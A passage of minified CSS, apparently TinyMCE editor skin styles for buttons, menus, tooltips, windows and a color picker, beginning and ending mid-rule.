!important;position:relative}.mce-fullscreen{border:0;padding:0;margin:0;overflow:hidden;height:100%;z-index:100}div.mce-fullscreen{position:fixed;top:0;left:0;width:100%;height:auto}.mce-tinymce{display:block;-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px}.mce-wordcount{position:absolute;top:0;right:0;padding:8px}div.mce-edit-area{background:#FFF;filter:none}.mce-statusbar{position:relative}.mce-statusbar .mce-container-body{position:relative}.mce-fullscreen .mce-resizehandle{display:none}.mce-charmap{border-collapse:collapse}.mce-charmap td{cursor:default;border:1px solid #9e9e9e;width:20px;height:20px;line-height:20px;text-align:center;vertical-align:middle;padding:2px}.mce-charmap td div{text-align:center}.mce-charmap td:hover{background:#d9d9d9}.mce-grid td.mce-grid-cell div{border:1px solid #d6d6d6;width:15px;height:15px;margin:0px;cursor:pointer}.mce-grid td.mce-grid-cell div:focus{border-color:#a1a1a1}.mce-grid td.mce-grid-cell div[disabled]{cursor:not-allowed}.mce-grid{border-spacing:2px;border-collapse:separate}.mce-grid a{display:block;border:1px solid transparent}.mce-grid a:hover,.mce-grid a:focus{border-color:#a1a1a1}.mce-grid-border{margin:0 4px 0 4px}.mce-grid-border a{border-color:#d6d6d6;width:13px;height:13px}.mce-grid-border a:hover,.mce-grid-border a.mce-active{border-color:#a1a1a1;background:#c8def4}.mce-text-center{text-align:center}div.mce-tinymce-inline{width:100%;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.mce-colorbtn-trans div{text-align:center;vertical-align:middle;font-weight:bold;font-size:20px;line-height:16px;color:#707070}.mce-toolbar-grp{padding-bottom:2px}.mce-toolbar-grp .mce-flow-layout-item{margin-bottom:0}.mce-rtl .mce-wordcount{left:0;right:auto}.mce-container,.mce-container-body{display:block}.mce-autoscroll{overflow:hidden}.mce-scrollbar{position:absolute;width:7px;height:100%;top:2px;right:2px;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-scrollbar-h{top:auto;right:auto;left:2px;bottom:2px;width:100%;height:7px}.mce-scrollbar-thumb{position:absolute;background-color:#000;border:1px solid #888;border-color:rgba(85,85,85,0.6);width:5px;height:100%;-webkit-border-radius:7px;-moz-border-radius:7px;border-radius:7px}.mce-scrollbar-h .mce-scrollbar-thumb{width:100%;height:5px}.mce-scrollbar:hover,.mce-scrollbar.mce-active{background-color:#AAA;opacity:.6;filter:alpha(opacity=60);zoom:1;-webkit-border-radius:7px;-moz-border-radius:7px;border-radius:7px}.mce-scroll{position:relative}.mce-panel{border:0 solid #9e9e9e;background-color:#f0f0f0;background-image:-moz-linear-gradient(top, #fdfdfd, #ddd);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fdfdfd), to(#ddd));background-image:-webkit-linear-gradient(top, #fdfdfd, #ddd);background-image:-o-linear-gradient(top, #fdfdfd, #ddd);background-image:linear-gradient(to bottom, #fdfdfd, #ddd);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffdfdfd', endColorstr='#ffdddddd', GradientType=0);zoom:1}.mce-floatpanel{position:absolute;-webkit-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);box-shadow:0 5px 10px rgba(0, 0, 0, 0.2)}.mce-floatpanel.mce-fixed{position:fixed}.mce-floatpanel .mce-arrow,.mce-floatpanel .mce-arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.mce-floatpanel .mce-arrow{border-width:11px}.mce-floatpanel .mce-arrow:after{border-width:10px;content:""}.mce-floatpanel.mce-popover{filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background:transparent;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);top:0;left:0;background:#fff;border:1px solid #9e9e9e;border:1px solid rgba(0,0,0,0.25)}.mce-floatpanel.mce-popover.mce-bottom{margin-top:10px;*margin-top:0}.mce-floatpanel.mce-popover.mce-bottom>.mce-arrow{left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#9e9e9e;border-bottom-color:rgba(0,0,0,0.25);top:-11px}.mce-floatpanel.mce-popover.mce-bottom>.mce-arrow:after{top:1px;margin-left:-10px;border-top-width:0;border-bottom-color:#fff}.mce-floatpanel.mce-popover.mce-bottom.mce-start{margin-left:-22px}.mce-floatpanel.mce-popover.mce-bottom.mce-start>.mce-arrow{left:20px}.mce-floatpanel.mce-popover.mce-bottom.mce-end{margin-left:22px}.mce-floatpanel.mce-popover.mce-bottom.mce-end>.mce-arrow{right:10px;left:auto}.mce-fullscreen{border:0;padding:0;margin:0;overflow:hidden;background:#fff;height:100%}div.mce-fullscreen{position:fixed;top:0;left:0}#mce-modal-block{opacity:0;filter:alpha(opacity=0);zoom:1;position:fixed;left:0;top:0;width:100%;height:100%;background:#000}#mce-modal-block.mce-in{opacity:.3;filter:alpha(opacity=30);zoom:1}.mce-window-move{cursor:move}.mce-window{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-moz-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background:transparent;background:#fff;position:fixed;top:0;left:0;opacity:0;-webkit-transition:opacity 150ms ease-in;transition:opacity 150ms ease-in}.mce-window.mce-in{opacity:1}.mce-window-head{padding:9px 15px;border-bottom:1px solid #c5c5c5;position:relative}.mce-window-head .mce-close{position:absolute;right:15px;top:9px;font-size:20px;font-weight:bold;line-height:20px;color:#858585;cursor:pointer;height:20px;overflow:hidden}.mce-close:hover{color:#adadad}.mce-window-head .mce-title{line-height:20px;font-size:20px;font-weight:bold;text-rendering:optimizelegibility;padding-right:10px}.mce-window .mce-container-body{display:block}.mce-foot{display:block;background-color:#fff;border-top:1px solid #c5c5c5;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px}.mce-window-head .mce-dragh{position:absolute;top:0;left:0;cursor:move;width:90%;height:100%}.mce-window iframe{width:100%;height:100%}.mce-window.mce-fullscreen,.mce-window.mce-fullscreen .mce-foot{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.mce-rtl .mce-window-head .mce-close{position:absolute;right:auto;left:15px}.mce-rtl .mce-window-head .mce-dragh{left:auto;right:0}.mce-rtl .mce-window-head .mce-title{direction:rtl;text-align:right}.mce-abs-layout{position:relative}body .mce-abs-layout-item,.mce-abs-end{position:absolute}.mce-abs-end{width:1px;height:1px}.mce-container-body.mce-abs-layout{overflow:hidden}.mce-tooltip{position:absolute;padding:5px;opacity:.8;filter:alpha(opacity=80);zoom:1}.mce-tooltip-inner{font-size:11px;background-color:#000;color:#fff;max-width:200px;padding:5px 8px 4px 8px;text-align:center;white-space:normal}.mce-tooltip-inner{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.mce-tooltip-inner{-webkit-box-shadow:0 0 5px #000000;-moz-box-shadow:0 0 5px #000000;box-shadow:0 0 5px #000000}.mce-tooltip-arrow{position:absolute;width:0;height:0;line-height:0;border:5px dashed #000}.mce-tooltip-arrow-n{border-bottom-color:#000}.mce-tooltip-arrow-s{border-top-color:#000}.mce-tooltip-arrow-e{border-left-color:#000}.mce-tooltip-arrow-w{border-right-color:#000}.mce-tooltip-nw,.mce-tooltip-sw{margin-left:-14px}.mce-tooltip-n .mce-tooltip-arrow{top:0px;left:50%;margin-left:-5px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-nw .mce-tooltip-arrow{top:0;left:10px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-ne .mce-tooltip-arrow{top:0;right:10px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-s .mce-tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-sw .mce-tooltip-arrow{bottom:0;left:10px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-se .mce-tooltip-arrow{bottom:0;right:10px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-e .mce-tooltip-arrow{right:0;top:50%;margin-top:-5px;border-left-style:solid;border-right:none;border-top-color:transparent;border-bottom-color:transparent}.mce-tooltip-w .mce-tooltip-arrow{left:0;top:50%;margin-top:-5px;border-right-style:solid;border-left:none;border-top-color:transparent;border-bottom-color:transparent}.mce-btn{border:1px solid #b1b1b1;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25) rgba(0,0,0,0.25);position:relative;text-shadow:0 1px 1px rgba(255,255,255,0.75);display:inline-block;*display:inline;*zoom:1;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);background-color:#f0f0f0;background-image:-moz-linear-gradient(top, #fff, #d9d9d9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fff), to(#d9d9d9));background-image:-webkit-linear-gradient(top, #fff, #d9d9d9);background-image:-o-linear-gradient(top, #fff, #d9d9d9);background-image:linear-gradient(to bottom, #fff, #d9d9d9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffd9d9d9', GradientType=0);zoom:1}.mce-btn:hover,.mce-btn:focus{color:#333;background-color:#e3e3e3;background-image:-moz-linear-gradient(top, #f2f2f2, #ccc);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#f2f2f2), to(#ccc));background-image:-webkit-linear-gradient(top, #f2f2f2, #ccc);background-image:-o-linear-gradient(top, #f2f2f2, #ccc);background-image:linear-gradient(to bottom, #f2f2f2, #ccc);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2f2f2', endColorstr='#ffcccccc', GradientType=0);zoom:1}.mce-btn.mce-disabled button,.mce-btn.mce-disabled:hover button{cursor:default;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-btn.mce-active,.mce-btn.mce-active:hover{background-color:#d6d6d6;background-image:-moz-linear-gradient(top, #e6e6e6, #c0c0c0);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#e6e6e6), to(#c0c0c0));background-image:-webkit-linear-gradient(top, #e6e6e6, #c0c0c0);background-image:-o-linear-gradient(top, #e6e6e6, #c0c0c0);background-image:linear-gradient(to bottom, #e6e6e6, #c0c0c0);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe6e6e6', endColorstr='#ffc0c0c0', GradientType=0);zoom:1;-webkit-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05)}.mce-btn:active{background-color:#d6d6d6;background-image:-moz-linear-gradient(top, #e6e6e6, #c0c0c0);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#e6e6e6), to(#c0c0c0));background-image:-webkit-linear-gradient(top, #e6e6e6, #c0c0c0);background-image:-o-linear-gradient(top, #e6e6e6, #c0c0c0);background-image:linear-gradient(to bottom, #e6e6e6, #c0c0c0);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe6e6e6', endColorstr='#ffc0c0c0', GradientType=0);zoom:1;-webkit-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05)}.mce-btn button{padding:4px 10px;font-size:14px;line-height:20px;*line-height:16px;cursor:pointer;color:#333;text-align:center;overflow:visible;-webkit-appearance:none}.mce-btn button::-moz-focus-inner{border:0;padding:0}.mce-btn i{text-shadow:1px 1px #fff}.mce-primary{min-width:50px;color:#fff;border:1px solid #b1b1b1;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25) rgba(0,0,0,0.25);background-color:#006dcc;background-image:-moz-linear-gradient(top, #08c, #04c);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#08c), to(#04c));background-image:-webkit-linear-gradient(top, #08c, #04c);background-image:-o-linear-gradient(top, #08c, #04c);background-image:linear-gradient(to bottom, #08c, #04c);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0044cc', GradientType=0);zoom:1}.mce-primary:hover,.mce-primary:focus{background-color:#005fb3;background-image:-moz-linear-gradient(top, #0077b3, #003cb3);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#0077b3), to(#003cb3));background-image:-webkit-linear-gradient(top, #0077b3, #003cb3);background-image:-o-linear-gradient(top, #0077b3, #003cb3);background-image:linear-gradient(to bottom, #0077b3, #003cb3);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0077b3', endColorstr='#ff003cb3', GradientType=0);zoom:1}.mce-primary.mce-disabled button,.mce-primary.mce-disabled:hover button{cursor:default;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-primary.mce-active,.mce-primary.mce-active:hover,.mce-primary:not(.mce-disabled):active{background-color:#005299;background-image:-moz-linear-gradient(top, #069, #039);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#069), to(#039));background-image:-webkit-linear-gradient(top, #069, #039);background-image:-o-linear-gradient(top, #069, #039);background-image:linear-gradient(to bottom, #069, #039);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff006699', endColorstr='#ff003399', GradientType=0);zoom:1;-webkit-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05)}.mce-primary button,.mce-primary button i{color:#fff;text-shadow:1px 1px #333}.mce-btn-large button{padding:9px 14px;font-size:16px;line-height:normal;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.mce-btn-large i{margin-top:2px}.mce-btn-small button{padding:1px 5px;font-size:12px;*padding-bottom:2px}.mce-btn-small i{line-height:20px;vertical-align:top;*line-height:18px}.mce-btn .mce-caret{margin-top:8px;margin-left:0}.mce-btn-small .mce-caret{margin-top:8px;margin-left:0}.mce-caret{display:inline-block;*display:inline;*zoom:1;width:0;height:0;vertical-align:top;border-top:4px solid #333;border-right:4px solid transparent;border-left:4px solid transparent;content:""}.mce-disabled .mce-caret{border-top-color:#aaa}.mce-caret.mce-up{border-bottom:4px solid #333;border-top:0}.mce-btn-flat{border:0;background:transparent;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;filter:none}.mce-btn-flat:hover,.mce-btn-flat.mce-active,.mce-btn-flat:focus,.mce-btn-flat:active{border:0;background:#e6e6e6;filter:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.mce-rtl .mce-btn button{direction:rtl}.mce-btn-group .mce-btn{border-width:1px 0 1px 0;margin:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.mce-btn-group .mce-first{border-left:1px solid #b1b1b1;border-left:1px solid rgba(0,0,0,0.25);-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px}.mce-btn-group .mce-last{border-right:1px solid #b1b1b1;border-right:1px solid rgba(0,0,0,0.1);-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0}.mce-btn-group .mce-first.mce-last{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.mce-btn-group .mce-btn.mce-flow-layout-item{margin:0}.mce-checkbox{cursor:pointer}i.mce-i-checkbox{margin:0 3px 0 0;border:1px solid #c5c5c5;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);background-color:#f0f0f0;background-image:-moz-linear-gradient(top, #fff, #d9d9d9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fff), to(#d9d9d9));background-image:-webkit-linear-gradient(top, #fff, #d9d9d9);background-image:-o-linear-gradient(top, #fff, #d9d9d9);background-image:linear-gradient(to bottom, #fff, #d9d9d9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffd9d9d9', GradientType=0);zoom:1;text-indent:-10em;*font-size:0;*line-height:0;*text-indent:0;overflow:hidden}.mce-checked i.mce-i-checkbox{color:#333;font-size:16px;line-height:16px;text-indent:0}.mce-checkbox:focus i.mce-i-checkbox,.mce-checkbox.mce-focus i.mce-i-checkbox{border:1px solid rgba(82,168,236,0.8);-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.65);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.65);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.65)}.mce-checkbox.mce-disabled .mce-label,.mce-checkbox.mce-disabled i.mce-i-checkbox{color:#acacac}.mce-rtl .mce-checkbox{direction:rtl;text-align:right}.mce-rtl i.mce-i-checkbox{margin:0 0 0 3px}.mce-combobox{display:inline-block;*display:inline;*zoom:1;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);*height:32px}.mce-combobox input{border:1px solid #c5c5c5;border-right-color:#c5c5c5;height:28px}.mce-combobox.mce-disabled input{color:#adadad}.mce-combobox.mce-has-open input{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px}.mce-combobox .mce-btn{border-left:0;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.mce-combobox button{padding-right:8px;padding-left:8px}.mce-combobox.mce-disabled .mce-btn button{cursor:default;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-colorbox i{border:1px solid #c5c5c5;width:14px;height:14px}.mce-colorbutton .mce-ico{position:relative}.mce-colorbutton-grid{margin:4px}.mce-colorbutton button{padding-right:4px}.mce-colorbutton .mce-preview{padding-right:3px;display:block;position:absolute;left:50%;top:50%;margin-left:-14px;margin-top:7px;background:gray;width:13px;height:2px;overflow:hidden}.mce-colorbutton.mce-btn-small .mce-preview{margin-left:-16px;padding-right:0;width:16px}.mce-colorbutton .mce-open{padding-left:4px;border-left:1px solid transparent;border-right:1px solid transparent}.mce-colorbutton:hover .mce-open{border-left-color:#bdbdbd;border-right-color:#bdbdbd}.mce-colorbutton.mce-btn-small .mce-open{padding:0 3px 0 3px}.mce-rtl .mce-colorbutton{direction:rtl}.mce-rtl .mce-colorbutton .mce-preview{margin-left:0;padding-right:0;padding-left:4px;margin-right:-14px}.mce-rtl .mce-colorbutton.mce-btn-small .mce-preview{margin-left:0;padding-right:0;margin-right:-17px;padding-left:0}.mce-rtl .mce-colorbutton button{padding-right:10px;padding-left:10px}.mce-rtl .mce-colorbutton .mce-open{padding-left:4px;padding-right:4px}.mce-colorpicker{position:relative;width:250px;height:220px}.mce-colorpicker-sv{position:absolute;top:0;left:0;width:90%;height:100%;border:1px solid #c5c5c5;cursor:crosshair;overflow:hidden}.mce-colorpicker-h-chunk{width:100%}.mce-colorpicker-overlay1,.mce-colorpicker-overlay2{width:100%;height:100%;position:absolute;top:0;left:0}.mce-colorpicker-overlay1{filter:progid:DXImageTransform.Microsoft.gradient(GradientType=1, startColorstr='#ffffff', endColorstr='#00ffffff');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType=1,startColorstr='#ffffff', endColorstr='#00ffffff')";background:linear-gradient(to right, #fff, rgba(255,255,255,0))}.mce-colorpicker-overlay2{filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0, startColorstr='#00000000', endColorstr='#000000');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#00000000', endColorstr='#000000')";background:linear-gradient(to bottom, rgba(0,0,0,0), #000)}.mce-colorpicker-selector1{background:none;position:absolute;width:12px;height:12px;margin:-8px 0 0 -8px;border:1px solid black;border-radius:50%}.mce-colorpicker-selector2{position:absolute;width:10px;height:10px;border:1px solid white;border-radius:50%}.mce-colorpicker-h{position:absolute;top:0;right:0;width:6.5%;height:100%;border:1px solid #c5c5c5;cursor:crosshair}.mce-colorpicker-h-marker{margin-top:-4px;position:absolute;top:0;left:-1px;width:100%;border:1px solid #333;background:#fff;height:4px;z-index:100}.mce-path{display:inline-block;*display:inline;*zoom:1;padding:8px;white-space:normal}.mce-path .mce-txt{display:inline-block;padding-right:3px}.mce-path .mce-path-body{display:inline-block}.mce-path-item{display:inline-block;*display:inline;*zoom:1;cursor:pointer;color:#333}.mce-path-item:hover{text-decoration:underline}.mce-path-item:focus{background:#666;color:#fff}.mce-path .mce-divider{display:inline}.mce-disabled .mce-path-item{color:#aaa}.mce-rtl .mce-path{direction:rtl}.mce-fieldset{border:0 solid #9E9E9E;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.mce-fieldset>.mce-container-body{margin-top:-15px}.mce-fieldset-title{margin-left:5px;padding:0 5px 0 5px}.mce-fit-layout{display:inline-block;*display:inline;*zoom:1}.mce-fit-layout-item{position:absolute}.mce-flow-layout-item{display:inline-block;*display:inline;*zoom:1}.mce-flow-layout-item{margin:2px 0 2px 2px}.mce-flow-layout-item.mce-last{margin-right:2px}.mce-flow-layout{white-space:normal}.mce-tinymce-inline .mce-flow-layout{white-space:nowrap}.mce-rtl .mce-flow-layout{text-align:right;direction:rtl}.mce-rtl .mce-flow-layout-item{margin:2px 2px 2px 0}.mce-rtl .mce-flow-layout-item.mce-last{margin-left:2px}.mce-iframe{border:0 solid #9e9e9e;width:100%;height:100%}.mce-label{display:inline-block;*display:inline;*zoom:1;text-shadow:0 1px 1px rgba(255,255,255,0.75);overflow:hidden}.mce-label.mce-autoscroll{overflow:auto}.mce-label.mce-disabled{color:#aaa}.mce-label.mce-multiline{white-space:pre-wrap}.mce-label.mce-error{color:#a00}.mce-rtl .mce-label{text-align:right;direction:rtl}.mce-menubar .mce-menubtn{border-color:transparent;background:transparent;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;filter:none}.mce-menubar{border:1px solid #c4c4c4}.mce-menubar .mce-menubtn button span{color:#333}.mce-menubar .mce-caret{border-top-color:#333}.mce-menubar .mce-menubtn:hover,.mce-menubar .mce-menubtn.mce-active,.mce-menubar .mce-menubtn:focus{border-color:transparent;background:#e6e6e6;filter:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.mce-menubtn span{color:#333;margin-right:2px;line-height:20px;*line-height:16px}.mce-menubtn.mce-btn-small span{font-size:12px}.mce-menubtn.mce-fixed-width span{display:inline-block;overflow-x:hidden;text-overflow:ellipsis;width:90px}.mce-menubtn.mce-fixed-width.mce-btn-small span{width:70px}.mce-menubtn .mce-caret{*margin-top:6px}.mce-rtl .mce-menubtn button{direction:rtl;text-align:right}.mce-listbox button{text-align:left;padding-right:20px;position:relative}.mce-listbox .mce-caret{position:absolute;margin-top:-2px;right:8px;top:50%}.mce-rtl .mce-listbox .mce-caret{right:auto;left:8px}.mce-rtl .mce-listbox button{padding-right:10px;padding-left:20px}.mce-menu-item{display:block;padding:6px 15px 6px 12px;clear:both;font-weight:normal;line-height:20px;color:#333;white-space:nowrap;cursor:pointer;line-height:normal;border-left:4px solid transparent;margin-bottom:1px}.mce-menu-item .mce-ico,.mce-menu-item .mce-text{color:#333}.mce-menu-item.mce-disabled .mce-text,.mce-menu-item.mce-disabled .mce-ico{color:#adadad}.mce-menu-item:hover .mce-text,.mce-menu-item.mce-selected .mce-text,.mce-menu-item:focus .mce-text{color:#fff}.mce-menu-item:hover .mce-ico,.mce-menu-item.mce-selected .mce-ico,.mce-menu-item:focus .mce-ico{color:#fff}.mce-menu-item.mce-disabled:hover{background:#ccc}.mce-menu-shortcut{display:inline-block;color:#adadad}.mce-menu-shortcut{display:inline-block;*display:inline;*zoom:1;padding:0 15px 0 20px}.mce-menu-item:hover .mce-menu-shortcut,.mce-menu-item.mce-selected .mce-menu-shortcut,.mce-menu-item:focus .mce-menu-shortcut{color:#fff}.mce-menu-item .mce-caret{margin-top:4px;*margin-top:3px;margin-right:6px;border-top:4px solid transparent;border-bottom:4px solid transparent;border-left:4px solid #333}.mce-menu-item.mce-selected .mce-caret,.mce-menu-item:focus .mce-caret,.mce-menu-item:hover .mce-caret{border-left-color:#fff}.mce-menu-align .mce-menu-shortcut{*margin-top:-2px}.mce-menu-align .mce-menu-shortcut,.mce-menu-align .mce-caret{position:absolute;right:0}.mce-menu-item.mce-active i{visibility:visible}.mce-menu-item-normal.mce-active{background-color:#c8def4}.mce-menu-item-preview.mce-active{border-left:5px solid #aaa}.mce-menu-item-normal.mce-active .mce-text{color:#333}.mce-menu-item-normal.mce-active:hover .mce-text,.mce-menu-item-normal.mce-active:hover .mce-ico{color:#fff}.mce-menu-item-normal.mce-active:focus .mce-text,.mce-menu-item-normal.mce-active:focus .mce-ico{color:#fff}.mce-menu-item:hover,.mce-menu-item.mce-selected,.mce-menu-item:focus{text-decoration:none;color:#fff;background-color:#0081c2;background-image:-moz-linear-gradient(top, #08c, #0077b3);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#08c), to(#0077b3));background-image:-webkit-linear-gradient(top, #08c, #0077b3);background-image:-o-linear-gradient(top, #08c, #0077b3);background-image:linear-gradient(to bottom, #08c, #0077b3);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0077b3', GradientType=0);zoom:1}div.mce-menu .mce-menu-item-sep,.mce-menu-item-sep:hover{border:0;padding:0;height:1px;margin:9px 1px;overflow:hidden;background:#cbcbcb;border-bottom:1px solid #fff;cursor:default;filter:none}.mce-menu.mce-rtl{direction:rtl}.mce-rtl .mce-menu-item{text-align:right;direction:rtl;padding:6px 12px 6px 15px}.mce-menu-align.mce-rtl .mce-menu-shortcut,.mce-menu-align.mce-rtl .mce-caret{right:auto;left:0}.mce-rtl .mce-menu-item .mce-caret{margin-left:6px;margin-right:0;border-right:4px solid #333;border-left:0}.mce-rtl .mce-menu-item.mce-selected .mce-caret,.mce-rtl .mce-menu-item:focus .mce-caret,.mce-rtl .mce-menu-item:hover .mce-caret{border-left-color:transparent;border-right-color:#fff}.mce-menu{position:absolute;left:0;top:0;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background:transparent;z-index:1000;padding:5px 0 5px 0;margin:2px 0 0;min-width:160px;background:#fff;border:1px solid #989898;border:1px solid rgba(0,0,0,0.2);z-index:1002;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);max-height:400px;overflow:auto;overflow-x:hidden}.mce-menu i{display:none}.mce-menu-has-icons i{display:inline-block;*display:inline}.mce-menu-sub-tr-tl{margin:-6px 0 0 -1px}.mce-menu-sub-br-bl{margin:6px 0 0 -1px}.mce-menu-sub-tl-tr{margin:-6px 0 0 1px}.mce-menu-sub-bl-br{margin:6px 0 0 1px}.mce-container-body .mce-resizehandle{position:absolute;right:0;bottom:0;width:16px;height:16px;visibility:visible;cursor:s-resize;margin:0}.mce-container-body .mce-resizehandle-both{cursor:se-resize}i.mce-i-resize{color:#333}.mce-spacer{visibility:hidden}.mce-splitbtn .mce-open{border-left:1px solid transparent;border-right:1px solid transparent}.mce-splitbtn:hover .mce-open{border-left-color:#bdbdbd;border-right-color:#bdbdbd}.mce-splitbtn 